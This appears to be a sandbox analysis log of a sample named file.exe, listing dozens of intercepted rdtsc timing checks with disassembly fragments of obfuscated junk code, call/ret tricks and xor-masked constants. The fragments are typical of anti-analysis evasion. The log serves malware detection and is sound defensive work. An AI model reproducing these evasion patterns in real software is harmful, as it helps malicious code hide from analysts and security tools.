Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81A4F second address: B81A61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F9D05A4BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81BD7 second address: B81BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81BDD second address: B81BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9D05A4C3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81D1C second address: B81D2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F3F9CD6C876h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B82007 second address: B8200D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84AC0 second address: B84AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84AC4 second address: B84AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84AD8 second address: B84B17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F3F9CD6C876h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F3F9CD6C887h 0x00000012 nop 0x00000013 sbb si, 7896h 0x00000018 push 00000000h 0x0000001a mov edx, 775C5F3Bh 0x0000001f movsx edx, si 0x00000022 push 013DD021h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84B17 second address: B84B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84B2D second address: B84B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84B33 second address: B84B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84B37 second address: B84BC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 013DD0A1h 0x00000012 xor di, 3952h 0x00000017 push 00000003h 0x00000019 pushad 0x0000001a mov esi, 086F60C6h 0x0000001f jmp 00007F3F9CD6C884h 0x00000024 popad 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F3F9CD6C878h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 push 00000003h 0x00000043 mov edi, dword ptr [ebp+122D26B3h] 0x00000049 push B3F2FC05h 0x0000004e push eax 0x0000004f push edx 0x00000050 jnl 00007F3F9CD6C887h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84BC7 second address: B84C01 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F9D05A4B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 73F2FC05h 0x00000011 sub edx, 73BC4CECh 0x00000017 mov cx, dx 0x0000001a lea ebx, dword ptr [ebp+124569C1h] 0x00000020 jnl 00007F3F9D05A4BCh 0x00000026 mov dword ptr [ebp+122D17ECh], edi 0x0000002c xchg eax, ebx 0x0000002d jo 00007F3F9D05A4C0h 0x00000033 pushad 0x00000034 push eax 0x00000035 pop eax 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84C01 second address: B84C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84D9B second address: B84D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84D9F second address: B84DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dl, bl 0x0000000b push 00000000h 0x0000000d jmp 00007F3F9CD6C883h 0x00000012 push 699ECB80h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3F9CD6C885h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84DDC second address: B84E61 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F3F9D05A4BCh 0x0000000c popad 0x0000000d xor dword ptr [esp], 699ECB00h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F3F9D05A4B8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push 00000003h 0x00000030 mov dx, si 0x00000033 push 00000000h 0x00000035 sub dword ptr [ebp+122D17BAh], edx 0x0000003b push 00000003h 0x0000003d mov dword ptr [ebp+122D2BF4h], edx 0x00000043 call 00007F3F9D05A4B9h 0x00000048 je 00007F3F9D05A4BEh 0x0000004e jnl 00007F3F9D05A4B8h 0x00000054 push eax 0x00000055 jnl 00007F3F9D05A4C0h 0x0000005b mov eax, dword ptr [esp+04h] 0x0000005f jbe 00007F3F9D05A4C0h 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84E61 second address: B84EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jns 00007F3F9CD6C880h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F3F9CD6C887h 0x00000018 pop eax 0x00000019 sbb di, 2D7Bh 0x0000001e lea ebx, dword ptr [ebp+124569D5h] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D2855h], edi 0x0000002b call 00007F3F9CD6C883h 0x00000030 sbb si, 5CF2h 0x00000035 pop ecx 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jbe 00007F3F9CD6C88Fh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84EE4 second address: B84EEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76A61 second address: B76A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA3C3F second address: BA3C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9D05A4BFh 0x00000009 popad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA3F72 second address: BA3F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3F9CD6C876h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA3F7D second address: BA3F82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA43AA second address: BA43C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C887h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA451B second address: BA4531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9D05A4C2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4531 second address: BA455F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F3F9CD6C880h 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA455F second address: BA4574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3F9D05A4BDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4574 second address: BA4589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F9CD6C881h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA49C1 second address: BA49C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA49C5 second address: BA49D1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F9CD6C876h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4B16 second address: BA4B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4B1C second address: BA4B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4B20 second address: BA4B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F3F9D05A4C6h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4B33 second address: BA4B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4C4D second address: BA4C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F3F9D05A4BDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4C5F second address: BA4C85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F3F9CD6C87Bh 0x0000000e push esi 0x0000000f jmp 00007F3F9CD6C87Ch 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B24E second address: B9B258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3F9D05A4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B258 second address: B9B286 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3F9CD6C876h 0x00000008 jc 00007F3F9CD6C876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jo 00007F3F9CD6C876h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 jo 00007F3F9CD6C876h 0x0000001f popad 0x00000020 jmp 00007F3F9CD6C87Bh 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B286 second address: B9B28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B28C second address: B9B292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B292 second address: B9B29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4F5A second address: BA4F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4F5E second address: BA4F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9D05A4BAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007F3F9D05A4B6h 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007F3F9D05A4C0h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4F8A second address: BA4FA0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F9CD6C878h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F3F9CD6C899h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4FA0 second address: BA4FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA55D6 second address: BA55DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BACAA9 second address: BACAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BACC52 second address: BACC8C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F3F9CD6C886h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F3F9CD6C889h 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABB25 second address: BABB2F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F9D05A4BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C27 second address: BB1C39 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F3F9CD6C87Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C39 second address: BB1C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F3F9D05A4B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C46 second address: BB1C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C51 second address: BB1C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1DE1 second address: BB1DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB21DC second address: BB21E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB45C7 second address: BB45E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB45E0 second address: BB45F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F9D05A4C1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB48BD second address: BB48C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB48C2 second address: BB48C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4B43 second address: BB4B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4B4A second address: BB4B4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB505B second address: BB506C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C87Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB51EB second address: BB520B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F3F9D05A4BCh 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB53CB second address: BB53E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F9CD6C885h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB565A second address: BB5660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5660 second address: BB5665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB56DA second address: BB56E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F3F9D05A4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5C97 second address: BB5CA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5CA5 second address: BB5CAE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6585 second address: BB658A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6DF3 second address: BB6DF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6DF9 second address: BB6DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8203 second address: BB8212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F9D05A4BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB98E2 second address: BB98EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB95FC second address: BB960F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F3F9D05A4B8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB98EF second address: BB98FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F3F9CD6C876h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB960F second address: BB9614 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA467 second address: BBA472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3F9CD6C876h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA472 second address: BBA477 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA477 second address: BBA4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F3F9CD6C883h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D30E9h], ebx 0x00000014 push 00000000h 0x00000016 jp 00007F3F9CD6C88Eh 0x0000001c jns 00007F3F9CD6C888h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F3F9CD6C878h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 pop edi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA4E2 second address: BBA4EC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3F9D05A4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBAD71 second address: BBAD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB898 second address: BBB89E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCD7C second address: BBCD80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB89E second address: BBB8A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCD80 second address: BBCD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C885h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCD9B second address: BBCDD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4C1h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F3F9D05A4C6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE51E second address: BBE524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE524 second address: BBE530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE530 second address: BBE534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
